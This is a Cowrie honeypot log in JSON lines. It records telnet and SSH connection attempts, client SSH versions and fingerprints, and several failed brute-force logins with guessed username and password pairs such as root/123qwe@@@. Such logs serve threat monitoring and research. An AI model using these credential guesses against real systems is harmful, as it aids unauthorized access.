{"eventid":"cowrie.session.connect","src_ip":"34.156.69.162","src_port":2026,"dst_ip":"159.203.135.109","dst_port":23,"session":"af18a64234ae","protocol":"telnet","message":"New connection: 34.156.69.162:2026 (159.203.135.109:23) [session: af18a64234ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:33.215260Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.69.162","src_port":2042,"dst_ip":"159.203.135.109","dst_port":23,"session":"b761c377561a","protocol":"telnet","message":"New connection: 34.156.69.162:2042 (159.203.135.109:23) [session: b761c377561a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:33.368892Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.69.162","src_port":2046,"dst_ip":"159.203.135.109","dst_port":23,"session":"93145ae47dc4","protocol":"telnet","message":"New connection: 34.156.69.162:2046 (159.203.135.109:23) [session: 93145ae47dc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:33.524696Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.69.162","src_port":2060,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc97df1a9bda","protocol":"telnet","message":"New connection: 34.156.69.162:2060 (159.203.135.109:23) [session: cc97df1a9bda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:33.680709Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.69.162","src_port":2064,"dst_ip":"159.203.135.109","dst_port":23,"session":"175f5c7c2cd3","protocol":"telnet","message":"New connection: 34.156.69.162:2064 (159.203.135.109:23) [session: 175f5c7c2cd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:33.838136Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.69.162","src_port":2066,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bc863fce539","protocol":"telnet","message":"New connection: 34.156.69.162:2066 (159.203.135.109:23) [session: 5bc863fce539]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:33.996836Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.69.162","src_port":2074,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee11d5617d80","protocol":"telnet","message":"New connection: 34.156.69.162:2074 (159.203.135.109:23) [session: ee11d5617d80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:34.150364Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.69.162","src_port":2078,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e667da79815","protocol":"telnet","message":"New connection: 34.156.69.162:2078 (159.203.135.109:23) [session: 7e667da79815]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:34.303833Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.69.162","src_port":2084,"dst_ip":"159.203.135.109","dst_port":23,"session":"f07549ca3ecc","protocol":"telnet","message":"New connection: 34.156.69.162:2084 (159.203.135.109:23) [session: f07549ca3ecc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:34.457451Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:34.461730Z","src_ip":"34.156.69.162","session":"f07549ca3ecc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.69.162","src_port":2098,"dst_ip":"159.203.135.109","dst_port":23,"session":"e187356d6641","protocol":"telnet","message":"New connection: 34.156.69.162:2098 (159.203.135.109:23) [session: e187356d6641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:34.614110Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.69.162","src_port":2112,"dst_ip":"159.203.135.109","dst_port":23,"session":"d43395932cde","protocol":"telnet","message":"New connection: 34.156.69.162:2112 (159.203.135.109:23) [session: d43395932cde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:34.767590Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.69.162","src_port":2122,"dst_ip":"159.203.135.109","dst_port":23,"session":"de60d16aad51","protocol":"telnet","message":"New connection: 34.156.69.162:2122 (159.203.135.109:23) [session: de60d16aad51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:34.921542Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.69.162","src_port":2128,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b3c2006cb3c","protocol":"telnet","message":"New connection: 34.156.69.162:2128 (159.203.135.109:23) [session: 1b3c2006cb3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:35.075633Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.69.162","src_port":2144,"dst_ip":"159.203.135.109","dst_port":23,"session":"73d2c0157223","protocol":"telnet","message":"New connection: 34.156.69.162:2144 (159.203.135.109:23) [session: 73d2c0157223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:35.229742Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.69.162","src_port":2150,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ec9bb49fb06","protocol":"telnet","message":"New connection: 34.156.69.162:2150 (159.203.135.109:23) [session: 1ec9bb49fb06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:35.386924Z"}
{"eventid":"cowrie.session.closed","duration":0.004929780960083008,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:35.391730Z","src_ip":"34.156.69.162","session":"1ec9bb49fb06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.69.162","src_port":2166,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa674f56e749","protocol":"telnet","message":"New connection: 34.156.69.162:2166 (159.203.135.109:23) [session: aa674f56e749]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:35.544299Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.69.162","src_port":2172,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f5575d0cdb4","protocol":"telnet","message":"New connection: 34.156.69.162:2172 (159.203.135.109:23) [session: 6f5575d0cdb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:35.699508Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 7133","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 7133] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:35.703913Z","src_ip":"34.156.69.162","session":"6f5575d0cdb4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.69.162","src_port":2184,"dst_ip":"159.203.135.109","dst_port":23,"session":"313b1fbef060","protocol":"telnet","message":"New connection: 34.156.69.162:2184 (159.203.135.109:23) [session: 313b1fbef060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:35.857753Z"}
{"eventid":"cowrie.session.closed","duration":0.004258155822753906,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:35.861863Z","src_ip":"34.156.69.162","session":"313b1fbef060","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.990344285964966,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:40.537454Z","src_ip":"170.64.224.25","session":"8413beca7780","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":36802,"dst_ip":"10.17.0.5","dst_port":22,"session":"22adce7b09c8","protocol":"ssh","message":"New connection: 8.210.75.243:36802 (10.17.0.5:22) [session: 22adce7b09c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:42.403659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:42.432470Z","src_ip":"8.210.75.243","session":"22adce7b09c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:44.361804Z","src_ip":"8.210.75.243","session":"c655c3c009fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":22.5843448638916,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:44.701291Z","src_ip":"34.156.69.162","session":"ab4424faf376","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.027137517929077,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:44.726500Z","src_ip":"34.156.69.162","session":"6f5575d0cdb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.186838388442993,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:44.730975Z","src_ip":"34.156.69.162","session":"aa674f56e749","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.504026889801025,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:44.733627Z","src_ip":"34.156.69.162","session":"73d2c0157223","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.660726308822632,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:44.736207Z","src_ip":"34.156.69.162","session":"1b3c2006cb3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.817260503768921,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:44.738663Z","src_ip":"34.156.69.162","session":"de60d16aad51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.974008798599243,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:44.741439Z","src_ip":"34.156.69.162","session":"d43395932cde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.129976511001587,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:44.743952Z","src_ip":"34.156.69.162","session":"e187356d6641","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.291401624679565,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:44.748697Z","src_ip":"34.156.69.162","session":"f07549ca3ecc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.451964378356934,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:44.755684Z","src_ip":"34.156.69.162","session":"7e667da79815","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.608002662658691,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:44.758250Z","src_ip":"34.156.69.162","session":"ee11d5617d80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.764121055603027,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:44.760827Z","src_ip":"34.156.69.162","session":"5bc863fce539","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.08276104927063,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:44.763219Z","src_ip":"34.156.69.162","session":"cc97df1a9bda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.927433013916016,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:44.765370Z","src_ip":"34.156.69.162","session":"175f5c7c2cd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.399821281433105,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:44.768597Z","src_ip":"34.156.69.162","session":"b761c377561a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.246237993240356,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:44.770668Z","src_ip":"34.156.69.162","session":"93145ae47dc4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.557777404785156,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:44.772890Z","src_ip":"34.156.69.162","session":"af18a64234ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.867424011230469,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:44.775327Z","src_ip":"34.156.69.162","session":"f9209d202475","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.101300239562988,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:44.777752Z","src_ip":"34.156.69.162","session":"3ce02691161c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.257441997528076,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:44.779789Z","src_ip":"34.156.69.162","session":"7a5eca7c5776","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.414713144302368,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:44.782089Z","src_ip":"34.156.69.162","session":"c986f112049c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.577935934066772,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:44.790219Z","src_ip":"34.156.69.162","session":"cc06ad60c1ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.88730239868164,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:44.792428Z","src_ip":"34.156.69.162","session":"722fc01a16f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.735899448394775,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:44.794621Z","src_ip":"34.156.69.162","session":"c4c0b6c21f46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.046043634414673,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:44.796828Z","src_ip":"34.156.69.162","session":"46d86e78cbcb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.205049514770508,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:44.798913Z","src_ip":"34.156.69.162","session":"c9f0a54fcabb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.36265754699707,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:44.801108Z","src_ip":"34.156.69.162","session":"8c1438588231","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":47546,"dst_ip":"159.203.135.109","dst_port":22,"session":"f92abd25d466","protocol":"ssh","message":"New connection: 190.244.39.224:47546 (159.203.135.109:22) [session: f92abd25d466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:44.818923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:44.824487Z","src_ip":"190.244.39.224","session":"f92abd25d466","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:45.002432Z","src_ip":"190.244.39.224","session":"f92abd25d466","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe@@@","message":"login attempt [root/123qwe@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:45.723232Z","src_ip":"190.244.39.224","session":"f92abd25d466","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.89.133","src_port":52002,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e5a34841cfc","protocol":"ssh","message":"New connection: 166.62.89.133:52002 (159.203.135.109:22) [session: 3e5a34841cfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:45.786820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:45.790424Z","src_ip":"166.62.89.133","session":"3e5a34841cfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:45.855377Z","src_ip":"166.62.89.133","session":"3e5a34841cfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vrt","password":"vrt123","message":"login attempt [vrt/vrt123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:46.053087Z","src_ip":"166.62.89.133","session":"3e5a34841cfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:46.907280Z","src_ip":"190.244.39.224","session":"f92abd25d466","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:47.120896Z","src_ip":"166.62.89.133","session":"3e5a34841cfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":41558,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b86907d85b7","protocol":"ssh","message":"New connection: 103.27.238.116:41558 (10.17.0.5:22) [session: 8b86907d85b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:54.685474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:54.689254Z","src_ip":"103.27.238.116","session":"8b86907d85b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:54.961000Z","src_ip":"103.27.238.116","session":"8b86907d85b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"marina1997","message":"login attempt [root/marina1997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:55.767912Z","src_ip":"103.27.238.116","session":"8b86907d85b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:57.039678Z","src_ip":"103.27.238.116","session":"8b86907d85b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.161.222.150","src_port":36640,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea4294a8a55c","protocol":"ssh","message":"New connection: 113.161.222.150:36640 (159.203.135.109:22) [session: ea4294a8a55c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:57.966551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:57.970294Z","src_ip":"113.161.222.150","session":"ea4294a8a55c","protocol":"ssh"}
